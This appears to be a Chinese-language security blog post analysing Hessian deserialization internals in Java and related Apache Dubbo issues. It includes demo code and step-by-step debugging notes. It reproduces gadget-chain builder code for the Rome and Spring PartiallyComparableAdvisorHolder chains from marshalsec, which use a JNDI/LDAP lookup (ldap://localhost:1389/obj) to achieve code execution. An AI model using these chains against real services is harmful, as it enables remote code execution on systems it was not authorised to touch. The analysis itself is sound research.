Hessian 反序列化及相關利用鏈

  • 2020 年 3 月 10 日
  • 筆記

前不久有一個關於Apache Dubbo Http反序列化的漏洞,本來是一個正常功能(通過正常調用抓包即可驗證確實是正常功能而不是非預期的Post),通過Post傳輸序列化數據進行遠程調用,但是如果Post傳遞惡意的序列化數據就能進行惡意利用。Apache Dubbo還支援很多協議,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian與Hessian2,這裡的Hessian2與Dubbo Hessian2不是同一個)、Rmi、Http等。Apache Dubbo是遠程調用框架,既然Http方式的遠程調用傳輸了序列化的數據,那麼其他協議也可能存在類似問題,例如Rmi、Hessian等。@pyn3rd師傅之前在twiter[1]發了關於Apache Dubbo Hessian協議的反序列化利用,Apache Dubbo Hessian反序列化問題之前也被提到過,這篇文章[2]裡面講到了Apache Dubbo Hessian存在反序列化被利用的問題,類似的還有Apache Dubbo Rmi反序列化問題。之前也沒比較完整的去分析過一個反序列化組件處理流程,剛好趁這個機會看看Hessian序列化、反序列化過程,以及marshalsec[3]工具中對於Hessian的幾條利用鏈。

//

關於序列化/反序列化機制

//

序列化/反序列化機制(或者可以叫編組/解組機制,編組/解組比序列化/反序列化含義要廣),參考marshalsec.pdf[4],可以將序列化/反序列化機制分大體分為兩類:

1.基於Bean屬性訪問機制2.基於Field機制

基於Bean屬性訪問機制

•SnakeYAML•jYAML•YamlBeans•Apache Flex BlazeDS•Red5 IO AMF•Jackson•Castor•Java XMLDecoder•…

它們最基本的區別是如何在對象上設置屬性值,它們有共同點,也有自己獨有的不同處理方式。有的通過反射自動調用getter(xxx)setter(xxx)訪問對象屬性,有的還需要調用默認Constructor,有的處理器(指的上面列出來的那些)在反序列化對象時,如果類對象的某些方法還滿足自己設定的某些要求,也會被自動調用。還有XMLDecoder這種能調用對象任意方法的處理器。有的處理器在支援多態特性時,例如某個對象的某個屬性是Object、Interface、abstruct等類型,為了在反序列化時能完整恢復,需要寫入具體的類型資訊,這時候可以指定更多的類,在反序列化時也會自動調用具體類對象的某些方法來設置這些對象的屬性值。這種機制的攻擊面比基於Field機制的攻擊面大,因為它們自動調用的方法以及在支援多態特性時自動調用方法比基於Field機制要多。

基於Field機制

基於Field機制是通過特殊的native(native方法不是java程式碼實現的,所以不會像Bean機制那樣調用getter、setter等更多的java方法)方法或反射(最後也是使用了native方式)直接對Field進行賦值操作的機制,不是通過getter、setter方式對屬性賦值(下面某些處理器如果進行了特殊指定或配置也可支援Bean機制方式)。在ysoserial中的payload是基於原生Java Serialization,marshalsec支援多種,包括上面列出的和下面列出的。

•Java Serialization•Kryo•Hessian•json-io•XStream•…

就對象進行的方法調用而言,基於欄位的機制通常通常不構成攻擊面。另外,許多集合、Map等類型無法使用它們運行時表示形式進行傳輸/存儲(例如Map,在運行時存儲是通過計算了對象的hashcode等資訊,但是存儲時是沒有保存這些資訊的),這意味著所有基於欄位的編組器都會為某些類型捆綁訂製轉換器(例如Hessian中有專門的MapSerializer轉換器)。這些轉換器或其各自的目標類型通常必須調用攻擊者提供的對象上的方法,例如Hessian中如果是反序列化map類型,會調用MapDeserializer處理map,期間map的put方法被調用,map的put方法又會計算被恢復對象的hash造成hashcode調用(這裡對hashcode方法的調用就是前面說的必須調用攻擊者提供的對象上的方法),根據實際情況,可能hashcode方法中還會觸發後續的其他方法調用。

//

Hessian 簡介

//

Hessian是二進位的web service協議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進行了實現。Hessian和Axis、XFire都能實現web service方式的遠程方法調用,區別是Hessian是二進位協議,Axis、XFire則是SOAP協議,所以從性能上說Hessian遠優於後兩者,並且Hessian的JAVA使用方法非常簡單。它使用Java語言介面定義了遠程對象,集合了序列化/反序列化和RMI功能。本文主要講解Hessian的序列化/反序列化。

下面做個簡單測試下Hessian Serialization與Java Serialization:

//Student.javaimport java.io.Serializable;  public class Student implements Serializable {    private static final long serialVersionUID = 1L;    private int id;    private String name;    private transient String gender;      public int getId() {        System.out.println("Student getId call");        return id;    }      public void setId(int id) {        System.out.println("Student setId call");        this.id = id;    }      public String getName() {        System.out.println("Student getName call");        return name;    }      public void setName(String name) {        System.out.println("Student setName call");        this.name = name;    }      public String getGender() {        System.out.println("Student getGender call");        return gender;    }      public void setGender(String gender) {        System.out.println("Student setGender call");        this.gender = gender;    }      public Student() {        System.out.println("Student default constractor call");    }      public Student(int id, String name, String gender) {        this.id = id;        this.name = name;        this.gender = gender;    }      @Override    public String toString() {        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";    }}
//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;  import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;  public class HJSerializationTest {    public static <T> byte[] hserialize(T t) {        byte[] data = null;        try {            ByteArrayOutputStream os = new ByteArrayOutputStream();            HessianOutput output = new HessianOutput(os);            output.writeObject(t);            data = os.toByteArray();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }      public static <T> T hdeserialize(byte[] data) {        if (data == null) {            return null;        }        Object result = null;        try {            ByteArrayInputStream is = new ByteArrayInputStream(data);            HessianInput input = new HessianInput(is);            result = input.readObject();        } catch (Exception e) {            e.printStackTrace();        }        return (T) result;    }      public static <T> byte[] jdkSerialize(T t) {        byte[] data = null;        try {            ByteArrayOutputStream os = new ByteArrayOutputStream();            ObjectOutputStream output = new ObjectOutputStream(os);            output.writeObject(t);            output.flush();            output.close();            data = os.toByteArray();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }      public static <T> T jdkDeserialize(byte[] data) {        if (data == null) {            return null;        }        Object result = null;        try {            ByteArrayInputStream is = new ByteArrayInputStream(data);            ObjectInputStream input = new ObjectInputStream(is);            result = input.readObject();        } catch (Exception e) {            e.printStackTrace();        }        return (T) result;    }      public static void main(String[] args) {        Student stu = new Student(1, "hessian", "boy");          long htime1 = System.currentTimeMillis();        byte[] hdata = hserialize(stu);        long htime2 = System.currentTimeMillis();        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1));          long htime3 = System.currentTimeMillis();        Student hstudent = hdeserialize(hdata);        long htime4 = System.currentTimeMillis();        System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3));        System.out.println();          long jtime1 = System.currentTimeMillis();        byte[] jdata = jdkSerialize(stu);        long jtime2 = System.currentTimeMillis();        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1));          long jtime3 = System.currentTimeMillis();        Student jstudent = jdkDeserialize(jdata);        long jtime4 = System.currentTimeMillis();        System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3));    }}

結果如下:

hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3  jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43

通過這個測試可以簡單看出Hessian反序列化佔用的空間比JDK反序列化結果小,Hessian序列化時間比JDK序列化耗時長,但Hessian反序列化很快。並且兩者都是基於Field機制,沒有調用getter、setter方法,同時反序列化時構造方法也沒有被調用。

//

Hessian 概念圖

//

下面的是網路上對Hessian分析時常用的概念圖,在新版中是整體也是這些結構,就直接拿來用了:

•Serializer:序列化的介面•Deserializer :反序列化的介面•AbstractHessianInput :hessian自定義的輸入流,提供對應的read各種類型的方法•AbstractHessianOutput :hessian自定義的輸出流,提供對應的write各種類型的方法•AbstractSerializerFactory

•SerializerFactory :Hessian序列化工廠的標準實現•ExtSerializerFactory:可以設置自定義的序列化機制,通過該Factory可以進行擴展•BeanSerializerFactory:對SerializerFactory的默認object的序列化機制進行強制指定,指定為使用BeanSerializer對object進行處理

Hessian Serializer/Derializer默認情況下實現了以下序列化/反序列化器,用戶也可通過介面/抽象類自定義序列化/反序列化器:

序列化時會根據對象、屬性不同類型選擇對應的序列化其進行序列化;反序列化時也會根據對象、屬性不同類型選擇不同的反序列化器;每個類型序列化器中還有具體的FieldSerializer。這裡注意下JavaSerializer/JavaDeserializer與BeanSerializer/BeanDeserializer,它們不是類型序列化/反序列化器,而是屬於機制序列化/反序列化器:

JavaSerializer:通過反射獲取所有bean的屬性進行序列化,排除static和transient屬性,對其他所有的屬性進行遞歸序列化處理(比如屬性本身是個對象)。BeanSerializer:是遵循pojo bean的約定,掃描bean的所有方法,發現存在get和set方法的屬性進行序列化,它並不直接直接操作所有的屬性,比較溫柔。

//

Hessian 反序列化過程

//

這裡使用一個demo進行調試,在Student屬性包含了String、int、List、Map、Object類型的屬性,添加了各屬性setter、getter方法,還有readResovle、finalize、toString、hashCode方法,並在每個方法中進行了輸出,方便觀察。雖然不會覆蓋Hessian所有邏輯,不過能大概看到它的面貌:

//people.javapublic class People {    int id;    String name;      public int getId() {        System.out.println("Student getId call");        return id;    }      public void setId(int id) {        System.out.println("Student setId call");        this.id = id;    }      public String getName() {        System.out.println("Student getName call");        return name;    }      public void setName(String name) {        System.out.println("Student setName call");        this.name = name;    }}
//Student.javapublic class Student extends People implements Serializable {    private static final long serialVersionUID = 1L;      private static Student student = new Student(111, "xxx", "ggg");    private transient String gender;    private Map<String, Class<Object>> innerMap;    private List<Student> friends;      public void setFriends(List<Student> friends) {        System.out.println("Student setFriends call");        this.friends = friends;    }      public void getFriends(List<Student> friends) {        System.out.println("Student getFriends call");        this.friends = friends;    }        public Map getInnerMap() {        System.out.println("Student getInnerMap call");        return innerMap;    }      public void setInnerMap(Map innerMap) {        System.out.println("Student setInnerMap call");        this.innerMap = innerMap;    }      public String getGender() {        System.out.println("Student getGender call");        return gender;    }      public void setGender(String gender) {        System.out.println("Student setGender call");        this.gender = gender;    }      public Student() {        System.out.println("Student default constructor call");    }      public Student(int id, String name, String gender) {        System.out.println("Student custom constructor call");        this.id = id;        this.name = name;        this.gender = gender;    }      private void readObject(ObjectInputStream ObjectInputStream) {        System.out.println("Student readObject call");    }      private Object readResolve() {        System.out.println("Student readResolve call");          return student;    }      @Override    public int hashCode() {        System.out.println("Student hashCode call");        return super.hashCode();    }      @Override    protected void finalize() throws Throwable {        System.out.println("Student finalize call");          super.finalize();    }      @Override    public String toString() {        return "Student{" +                "id=" + id +                ", name='" + name + ''' +                ", gender='" + gender + ''' +                ", innerMap=" + innerMap +                ", friends=" + friends +                '}';    }}
//SerialTest.javapublic class SerialTest {      public static <T> byte[] serialize(T t) {        byte[] data = null;        try {            ByteArrayOutputStream os = new ByteArrayOutputStream();            HessianOutput output = new HessianOutput(os);            output.writeObject(t);            data = os.toByteArray();        } catch (Exception e) {            e.printStackTrace();        }        return data;    }      public static <T> T deserialize(byte[] data) {        if (data == null) {            return null;        }        Object result = null;        try {            ByteArrayInputStream is = new ByteArrayInputStream(data);            HessianInput input = new HessianInput(is);            result = input.readObject();        } catch (Exception e) {            e.printStackTrace();        }        return (T) result;    }      public static void main(String[] args) {        int id = 111;        String name = "hessian";        String gender = "boy";          Map innerMap = new HashMap<String, Class<Object>>();        innerMap.put("1", ObjectInputStream.class);        innerMap.put("2", SQLData.class);          Student friend = new Student(222, "hessian1", "boy");        List friends = new ArrayList<Student>();        friends.add(friend);          Student stu = new Student();        stu.setId(id);        stu.setName(name);        stu.setGender(gender);        stu.setInnerMap(innerMap);        stu.setFriends(friends);          System.out.println("---------------hessian serialize----------------");        byte[] obj = serialize(stu);        System.out.println(new String(obj));          System.out.println("---------------hessian deserialize--------------");        Student student = deserialize(obj);        System.out.println(student);    }}

下面是對上面這個demo進行調試後畫出的Hessian在反序列化時處理的大致面貌(圖片看不清,可以點這個鏈接[5]查看):

下面通過在調試到某些關鍵位置具體說明。

獲取目標類型反序列化器

首先進入HessianInput.readObject(),讀取tag類型標識符,由於Hessian序列化時將結果處理成了Map,所以第一個tag總是M(ascii 77):

case 77這個處理中,讀取了要反序列化的類型,接著調用this._serializerFactory.readMap(in,type)進行處理,默認情況下serializerFactory使用的Hessian標準實現SerializerFactory:

先獲取該類型對應的Deserializer,接著調用對應Deserializer.readMap(in)進行處理,看下如何獲取對應的Derserializer:

第一個紅框中主要是判斷在_cacheTypeDeserializerMap中是否快取了該類型的反序列化器;第二個紅框中主要是判斷是否在_staticTypeMap中快取了該類型反序列化器,_staticTypeMap主要存儲的是基本類型與對應的反序列化器;第三個紅框中判斷是否是數組類型,如果是的話則進入數組類型處理;第四個獲取該類型對應的Class,進入this.getDeserializer(Class)再獲取該類對應的Deserializer,本例進入的是第四個:

這裡再次判斷了是否在快取中,不過這次是使用的_cacheDeserializerMap,它的類型是ConcurrentHashMap,之前是_cacheTypeDeserializerMap,類型是HashMap,這裡可能是為了解決多執行緒中獲取的問題。本例進入的是第二個this.loadDeserializer(Class)

第一個紅框中是遍歷用戶自己設置的SerializerFactory,並嘗試從每一個工廠中獲取該類型對應的Deserializer;第二個紅框中嘗試從上下文工廠獲取該類型對應的Deserializer;第三個紅框嘗試創建上下文工廠,並嘗試獲取該類型自定義Deserializer,並且該類型對應的Deserializer需要是類似xxxHessianDeserializer,xxx表示該類型類名;第四個紅框依次判斷,如果匹配不上,則使用getDefaultDeserializer(Class),本例進入的是第四個:

isEnableUnsafeSerializer默認是為true的,這個值的確定首先是根據sun.misc.Unsafe的theUnsafe欄位是否為空決定,而sun.misc.Unsafe的theUnsafe欄位默認在靜態程式碼塊中初始化了並且不為空,所以為true;接著還會根據系統屬性com.caucho.hessian.unsafe是否為false,如果為false則忽略由sun.misc.Unsafe確定的值,但是系統屬性com.caucho.hessian.unsafe默認為null,所以不會替換剛才的ture結果。因此,_isEnableUnsafeSerializer的值默認為true,所以上圖默認就是使用的UnsafeDeserializer,進入它的構造方法。

獲取目標類型各屬性反序列化器

在這裡獲取了該類型所有屬性並確定了對應得FieldDeserializer,還判斷了該類型的類中是否存在ReadResolve()方法,先看類型屬性與FieldDeserializer如何確定:

獲取該類型以及所有父類的屬性,依次確定對應屬性的FIeldDeserializer,並且屬性不能是transient、static修飾的屬性。下面就是依次確定對應屬性的FieldDeserializer了,在UnsafeDeserializer中自定義了一些FieldDeserializer。

判斷目標類型是否定義了readResolve()方法

接著上面的UnsafeDeserializer構造器中,還會判斷該類型的類中是否有readResolve()方法:

通過遍歷該類中所有方法,判斷是否存在readResolve()方法。

好了,後面基本都是原路返回獲取到的Deserializer,本例中該類使用的是UnsafeDeserializer,然後回到SerializerFactory.readMap(in,type)中,調用UnsafeDeserializer.readMap(in)

至此,獲取到了本例中com.longofo.deserialize.Student類的反序列化器UnsafeDeserializer,以各欄位對應的FieldSerializer,同時在Student類中定義了readResolve()方法,所以獲取到了該類的readResolve()方法。

為目標類型分配對象

接下來為目標類型分配了一個對象:

通過_unsafe.allocateInstance(classType)分配該類的一個實例,該方法是一個sun.misc.Unsafe中的native方法,為該類分配一個實例對象不會觸發構造器的調用,這個對象的各屬性現在也只是賦予了JDK默認值。

目標類型對象屬性值的恢復

接下來就是恢複目標類型對象的屬性值:

進入循環,先調用in.readObject()從輸入流中獲取屬性名稱,接著從之前確定好的this._fieldMap中匹配該屬性對應的FieldDeserizlizer,然後調用匹配上的FieldDeserializer進行處理。本例中進行了序列化的屬性有innerMap(Map類型)、name(String類型)、id(int類型)、friends(List類型),這裡以innerMap這個屬性恢復為例。

以InnerMap屬性恢復為例

innerMap對應的FieldDeserializer為UnsafeDeserializer$ObjectFieldDeserializer

首先調用in.readObject(fieldClassType)從輸入流中獲取該屬性值,接著調用了_unsafe.putObject這個位於sun.misc.Unsafe中的native方法,並且不會觸發getter、setter方法的調用。這裡看下in.readObject(fieldClassType)具體如何處理的:

這裡Map類型使用的是MapDeserializer,對應的調用MapDeserializer.readMap(in)方法來恢復一個Map對象:

注意這裡的幾個判斷,如果是Map介面類型則使用HashMap,如果是SortedMap類型則使用TreeMap,其他Map則會調用對應的默認構造器,本例中由於是Map介面類型,使用的是HashMap。接下來經典的場景就來了,先使用in.readObject()(這個過程和之前的類似,就不重複了)恢復了序列化數據中Map的key,value對象,接著調用了map.put(key,value),這裡是HashMap,在HashMap的put方法會調用hash(key)觸發key對象的key.hashCode()方法,在put方法中還會調用putVal,putVal又會調用key對象的key.equals(obj)方法。處理完所有key,value後,返回到UnsafeDeserializer$ObjectFieldDeserializer中:

使用native方法_unsafe.putObject完成對象的innerMap屬性賦值。

//

Hessian 的幾條利用鏈分析

//

在marshalsec工具中,提供了對於Hessian反序列化可利用的幾條鏈:

  1. Rome
  2. XBean
  3. Resin
  4. Spring Partially Comparable Advisor Holder
  5. Spring Abstract Bean Factory Pointcut Advisor

下面分析其中的兩條Rome和SpringPartiallyComparableAdvisorHolder,Rome是通過HashMap.put->key.hashCode觸發,SpringPartiallyComparableAdvisorHolder是通過HashMap.put->key.equals觸發。其他幾個也是類似的,要麼利用hashCode、要麼利用equals。

Spring Partially Comparable Advisor Holder

在marshalsec中有所有對應的Gadget Test,很方便:

這裡將Hessian對SpringPartiallyComparableAdvisorHolder這條利用鏈提取出來看得比較清晰些:

String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);  //反序列化時BeanFactoryAspectInstanceFactory.getOrder會被調用,會觸發調用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());  //反序列化時AspectJAroundAdvice.getOrder會被調用,會觸發BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);  //反序列化時AspectJPointcutAdvisor.getOrder會被調用,會觸發AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);  //反序列化時PartiallyComparableAdvisorHolder.toString會被調用,會觸發AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);  //反序列化時Xstring.equals會被調用,會觸發PartiallyComparableAdvisorHolder.toStringClass<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);  //反序列化時HotSwappableTargetSource.equals會被調用,觸發Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));  //反序列化時HashMap.putVal會被調用,觸發HotSwappableTargetSource.equals。這裡沒有直接使用HashMap.put設置值,直接put會在本地觸發利用鏈,所以使用marshalsec使用了比較特殊的處理方式。

HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {    nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {    nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);  Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);

看以下觸發流程:

經過HessianInput.readObject(),到了MapDeserializer.readMap(in)進行處理Map類型屬性,這裡觸發了HashMap.put(key,value)

HashMap.put有調用了HashMap.putVal方法,第二次put時會觸發key.equals(k)方法:

此時key與k分別如下,都是HotSwappableTargetSource對象:

進入HotSwappableTargetSource.equals

HotSwappableTargetSource.equals中又觸發了各自target.equals方法,也就是XString.equals(PartiallyComparableAdvisorHolder)

在這裡觸發了PartiallyComparableAdvisorHolder.toString

觸發了AspectJPointcutAdvisor.getOrder

觸發了AspectJAroundAdvice.getOrder

這裡又觸發了BeanFactoryAspectInstanceFactory.getOrder

又觸發了SimpleJndiBeanFactory.getTYpe->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup->Context.lookup

Rome

Rome相對來說觸發過程簡單些:

同樣將利用鏈提取出來:

//反序列化時ToStringBean.toString()會被調用,觸發JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");  //反序列化時EqualsBean.beanHashCode會被調用,觸發ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);  //反序列化時HashMap.hash會被調用,觸發EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);  //HashMap.put->HashMap.putVal->HashMap.hashHashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {    nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {    nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);  Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);

看下觸發過程:

經過HessianInput.readObject(),到了MapDeserializer.readMap(in)進行處理Map類型屬性,這裡觸發了HashMap.put(key,value)

接著調用了hash方法,其中調用了key.hashCode方法:

接著觸發了EqualsBean.hashCode->EqualsBean.beanHashCode

觸發了ToStringBean.toString

這裡調用了JdbcRowSetImpl.getDatabaseMetadata,其中又觸發了JdbcRowSetImpl.connect->context.lookup

小結

通過以上兩條鏈可以看出,在Hessian反序列化中基本都是利用了反序列化處理Map類型時,會觸發調用Map.put->Map.putVal->key.hashCode/key.equals->…,後面的一系列出發過程,也都與多態特性有關,有的類屬性是Object類型,可以設置為任意類,而在hashCode、equals方法又恰好調用了屬性的某些方法進行後續的一系列觸發。所以要挖掘這樣的利用鏈,可以直接找有hashCode、equals以及readResolve方法的類,然後人進行判斷與構造,不過這個工作量應該很大;或者使用一些利用鏈挖掘工具,根據需要編寫規則進行掃描。

//

Apache Dubbo反序列化簡單分析

//

Apache Dubbo Http反序列化

先簡單看下之前說到的HTTP問題吧,直接用官方提供的samples[6],其中有一個dubbo-samples-http可以直接拿來用,直接在DemoServiceImpl.sayHello方法中打上斷點,在RemoteInvocationSerializingExporter.doReadRemoteInvocation中反序列化了數據,使用的是Java Serialization方式:

抓包看下,很明顯的ac ed標誌:

Apache Dubbo Dubbo反序列化

同樣使用官方提供的dubbo-samples-basic,默認Dubbo hessian2協議,Dubbo對hessian2進行了魔改,不過大體結構還是差不多,在MapDeserializer.readMap是依然與Hessian類似:

參考

  1. https://twitter.com/pyn3rd/status/1229044609591869442
  2. https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
  3. https://github.com/mbechler/marshalsec
  4. https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
  5. https://www.processon.com/view/link/5c714c28e4b03334b5273bd6https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
  6. https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
  7. https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  8. https://zhuanlan.zhihu.com/p/44787200